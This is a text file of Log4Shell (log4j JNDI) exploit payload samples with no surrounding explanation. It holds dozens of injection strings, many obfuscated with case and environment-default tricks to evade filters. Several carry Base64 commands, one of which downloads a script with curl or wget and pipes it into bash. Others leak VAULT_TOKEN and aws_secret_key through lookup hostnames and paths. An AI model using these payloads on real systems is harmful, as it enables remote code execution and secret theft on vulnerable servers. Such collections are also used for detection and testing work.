log4j exploit payload samples.txt

${jndi:ldap://7ae364cd167c.bingsearchlib.com:39356/a}

${jndi:ldaps://e873c483.probe001.log4j.leakix.net:443/b%7D

${jndi:rmi://${env:VAULT_TOKEN}.example.com}

${jndi:dns://31-134-204-142.scanworld.net/ua}

${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zOC44Ni4xOS4zNDo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMzguODYuMTkuMzQ6NDQzKXxiYXNo}

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//45.146.164.160:8081/w}

${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MCl8YmFzaA==}

${${env:BEETLEJUICE:-j}ndi${env:BEETLEJUICE:-:}${env:BEETLEJUICE:-l}dap://205.185.115.217:47324/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

${${lower:jn}di:ldap://172.31.39.127:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}

${${l${lower:ow}er:j}ndi:ldap://172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${jndi${lower::}ldap:${lower:/}/172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${jndi${lower::${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}${lower:}}ldap:${lower:/}/172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${jndi:ldap://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//172.31.39.127:1389/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:dn}${lower:s}}://${hostName}.fakehost.local:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${::-j}ndi:rmi://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:iio}${lower:p}}://${hostName}.fakehost.local:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}

${${lower:jndi}:${lower:rmi}://172.31.39.127:1399/Basic/Command/Base64/ZWNobyAidGVzdCIgPiAvdG1wL3B3bgo}
${jndi:ldap://172.31.39.127:1399/path/${env:aws_secret_key}}

${${::-j}ndi:rmi://attacker.com/poc}